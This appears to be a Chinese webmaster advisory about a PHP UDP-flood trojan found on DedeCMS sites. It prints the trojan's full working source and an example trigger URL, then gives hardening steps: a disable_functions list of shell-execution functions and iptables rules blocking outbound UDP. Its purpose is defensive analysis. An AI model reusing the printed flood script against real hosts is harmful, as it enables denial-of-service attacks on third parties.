從2010年到現在基於php發送大量UDP數據包的php木馬相當流行,主要附屬於dedecms(織夢cms)。會導致服務器間歇性斷網,網卡發送大量的數據,導致網絡堵塞,危害較大。這裡特別請求廣大站長別再使用織夢cms發布系統。
RX bytes:28991967155 (28.9 GB) TX bytes:437305805252 (437.3 GB)
織夢系統是基於非安全模式下進行開發,以下的加固方法會直接導致織夢系統的采集功能以及發布等不能正常使用。織夢cms系統調用了很多危險的php系統函數,這些函數會和木馬一樣具有強大的功能。
php的ddos代碼如下:
<?php
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
有些版本有“phpddos 僅供教學使用 或者xx是騙子之類的字符”。
可以看出php會隨機發送大小的udp包,請求方式是通過url訪問,以達到攻擊別人的目的。調用了fsockopen函數。
請求的url類似
http://www.cntv.cn/xxx/xx/inc/newfile.php?host=1.2.3.4&port=80&time=1200
針對此類的ddos網絡攻擊我們建議做以下的安全加固:
1.開啟php的安全模式,safe_mod=on
2.關閉函數disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,fsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,fwrite,
fclose
3.fopen allow_url_fopen = Off 關閉php請求遠程url ,這個很多系統裡面有調用,請考慮其他方式實現。
4.通過防火牆丟棄掉udp包
;linux
iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p udp -j DROP
windows請用ipsec做以處理
5.這裡再次呼吁廣大站長請勿再繼續試用織夢cms發布系統,此系統極為不安全。
dedecms 木馬